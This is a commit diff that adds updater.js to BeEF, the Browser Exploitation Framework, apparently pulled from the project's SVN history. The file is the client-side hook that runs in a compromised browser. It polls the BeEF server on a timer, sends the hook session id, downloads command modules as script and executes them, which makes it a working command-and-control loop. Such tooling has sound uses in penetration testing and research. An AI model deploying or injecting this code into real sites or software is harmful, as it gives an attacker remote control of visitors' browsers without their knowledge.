Moving nextgen from a branch to the trunk!!!

git-svn-id: https://beef.googlecode.com/svn/trunk@908 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9

core/main/client/updater.js

@@ -0,0 +1,80 @@
+/*!
+ * @Literal object: beef.updater
+ *
+ * Object in charge of getting new commands from the BeEF framework and execute them.
+ */
+beef.updater = {
+	
+	// Low timeouts combined with the way the framework sends commamd modules result 
+	// in instructions being sent repeatedly or complex code. 
+	// If you suffer from ADHD, you can decrease this setting.
+	timeout: 10000,
+	
+	// A lock.
+	lock: false,
+	
+	// An object containing all values to be registered and sent by the updater.
+	objects: new Object(),
+	
+	/*
+	 * Registers an object to always send when requesting new commands to the framework.
+	 * @param: {String} the name of the object.
+	 * @param: {String} the value of that object.
+	 * 
+	 * @example: beef.updater.regObject('java_enabled', 'true');
+	 */
+	regObject: function(key, value) {
+		this.objects[key] = escape(value);
+	},
+	
+	// Checks for new commands from the framework and runs them.
+	check: function() {
+		if(this.lock == false) {
+			if (beef.logger.running) {
+				beef.logger.queue();
+			}
+			beef.net.flush();
+			if(beef.commands.length > 0) {
+				this.execute_commands();
+			} else {
+				this.get_commands();
+			}
+		}
+		setTimeout("beef.updater.check();", beef.updater.timeout);
+	},
+	
+	// Gets new commands from the framework.
+	get_commands: function(http_response) {
+		try {
+			this.lock = true;
+            beef.net.request('http', 'GET', beef.net.host, beef.net.port, beef.net.hook, null, 'BEEFHOOK='+beef.session.get_hook_session_id(), 10, 'script', function(response) {
+                if (response.body != null && response.body.length > 0)
+                    beef.updater.execute_commands();
+            });
+		} catch(e) {
+			this.lock = false;
+			return;
+		}
+		this.lock = false;
+	},
+	
+	// Executes the received commands if any.
+	execute_commands: function() {
+		if(beef.commands.length == 0) return;
+		
+		this.lock = true;
+		
+		while(beef.commands.length > 0) {
+			command = beef.commands.pop();
+			try {
+				command();
+			} catch(e) {
+				console.error('execute_commands - command failed to execute: ' + e.message);
+			}
+		}
+		
+		this.lock = false;
+	}
+}
+
+beef.regCmp('beef.updater');